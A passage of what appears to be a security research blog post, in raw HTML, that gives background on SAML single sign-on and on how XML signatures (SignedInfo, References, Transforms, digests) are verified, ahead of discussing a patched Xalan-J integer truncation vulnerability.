2022</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. The Apache BCEL project used by Xalan-J, the origin of the vulnerable code, released a patch in </span><a href="https://github.com/apache/commons-bcel/commit/f3267cbcc900f80851d561bdd16b239d936947f5" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">September 2022</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">While the vulnerability discussed in this post has been patched , vendors and users should expect further vulnerabilities in SAML.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">From a security researcher's perspective, this vulnerability is an example of an integer truncation issue in a memory-safe language, with an exploit that feels very much like a memory corruption. While less common than the typical memory safety issues of C or C++ codebases, weird machines still exist in memory safe languages and will keep us busy even after we move into a bright memory safe future.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Before diving into the vulnerability and its exploit, I’m going to give a quick overview of XML signatures and SAML. What makes XML signatures such an interesting target and why should we care about them?</span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Introduction</span></h2><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">XML Signatures are a typical example of a security protocol invented in the early 2000’s. They suffer from high complexity, a large attack surface and a wealth of configurable features that can weaken or break its security guarantees in surprising ways. Modern usage of XML signatures is mostly restricted to somewhat obscure protocols and legacy applications, but there is one important exception: SAML. SAML, which stands for Security Assertion Markup Language, is one of the two main Single-Sign-On standards used in modern web applications. While its alternative, the OAuth based OpenID Connect (OIDC) is gaining popularity, SAML is still the de-facto standard for large enterprises and complex integrations. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SAML relies on XML signatures to protect messages forwarded through the browser. This turns XML signature verification into a very interesting external attack surface for attacking modern multi-tenant SaaS applications. While you don’t need a detailed understanding of SAML to follow this post, interested readers can take a look at Okta's </span><a href="https://developer.okta.com/docs/concepts/saml/" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">Understanding SAML</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> writeup or the </span><a href="https://en.wikipedia.org/wiki/SAML_2.0" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">SAML 2.0 wiki</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> entry to get a better understanding of the protocol.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SAML SSO logins work by exchanging XML documents between the application, known as service provider (SP), and the identity provider (IdP). When a user tries to login to an SP, the service provider creates a SAML request. The IdP looks at the SAML request, tries to authenticate the user and sends a SAML response back to the SP. A successful response will contain information about the user, which the application can then use to grant access to its resources. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">In the most widely used SAML flow (known as SP Redirect Bind / IdP POST Response) these documents are forwarded through the user's browser using HTTP redirects and POST requests. To protect against modification by the user, the security critical part of the SAML response (known as Assertion) has to be cryptographically signed by the IdP. In addition, the IdP might require SPs to also sign the SAML request to protect against impersonation attacks.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">This means that both the IdP and the SP have to parse and verify XML signatures passed to them by a potential malicious actor. Why is this a problem? Let's take a closer look at the way XML signatures work:</span></p><br /><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">XML Signatures</span></h2><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Most signature schemes operate on a raw byte stream and sign the data as seen on the wire. Instead, the XML signature standard (known as XMLDsig) tries to be robust against insignificant changes to the signed XML document. This means that changing whitespaces, line endings or comments in a signed document should not invalidate its signature. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">An XML signature consists of a special </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Signature</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> element, an example of which is shown below:</span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none;"><colgroup></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #fafafa; border-bottom: solid #e0e0e0 1pt; border-left: solid #e0e0e0 1pt; border-right: solid #e0e0e0 1pt; border-top: solid #e0e0e0 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><Signature></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><SignedInfo></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><CanonicalizationMethod</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> Algorithm</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"http://www.w3.org/2001/10/xml-exc-c14n#"</span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">/></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><SignatureMethod</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> Algorithm</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"http://www.w3.org/2000/09/xmldsig#rsa-sha1" </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">/></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><Reference</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> URI</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"#signed-data"</span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><Transforms></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> …</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></Transforms></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><DigestMethod</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> Algorithm</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"http://www.w3.org/2000/09/xmldsig#sha1" </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">/></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><DigestValue></span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">9bc34549d565d9505b287de0cd20ac77be1d3f2c</span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></DigestValue></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></Reference></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></SignedInfo></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><SignatureValue></span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">....</span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></SignatureValue></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><KeyInfo><X509Certificate></span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">....</span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></X509Certificate></KeyInfo></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></Signature></span></p></td></tr></tbody></table></div><br /><ul style="margin-bottom: 0; margin-top: 0; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignedInfo</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> child contains </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CanonicalizationMethod</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignatureMethod</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> elements as well as one or more </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Reference</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> elements describing the integrity protected data. </span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">KeyInfo</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> describes the signer key and can contain a raw public key, a X509 certificate or just a key id. </span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignatureValue</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> contains the cryptographic signature (using </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignatureMethod</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">) of the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignedInfo</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> element after it has been canonicalized using </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CanonicalizationMethod</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. </span></p></li></ul><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">At this point, only the integrity of the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignedInfo</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> element is protected. To understand how this protection is extended to the actual data, we need to take a look at the way </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Reference</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> elements work: In theory the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Reference</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> URI attribute can either point to an external document (</span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">detached signature</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">), an element embedded as a child (</span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">enveloping signature</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">) or any element in the outer document (</span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">enveloped signature</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">). In practice, most SAML implementations use enveloped signatures and the Reference URI will point to the signed element somewhere in the current document tree.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">When a </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Reference</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> is processed during verification or signing, the referenced content is passed through a chain of </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Transforms</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. XMLDsig supports a number of transforms ranging from canonicalization, over base64 decoding to XPath or even XSLT. Once all transforms have been processed the resulting byte stream is passed into the cryptographic hash function specified with the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">DigestMethod</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> element and the result is stored in </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">DigestValue</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. </span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">This way, as the whole </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Reference</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> element is part of </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignedInfo</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, its integrity protection gets extended to the referenced element as well. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Validating a XML signature can therefore be split into two separate steps:</span></p><ul style="margin-bottom: 0; margin-top: 0; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Reference Validation: Iterate through all embedded references and for each reference fetch the referenced data, pump it through the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Transforms</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> chain and calculate its hash digest. Compare the calculated Digest with the stored </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">DigestValue</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> and fail if they differ.</span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Signature Validation: First canonicalize the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignedInfo</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> element using the specified </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CanonicalizationMethod</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> algorithm. Calculate the signature of </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignedInfo</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> using the algorithm specified in </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignatureMethod</span><span 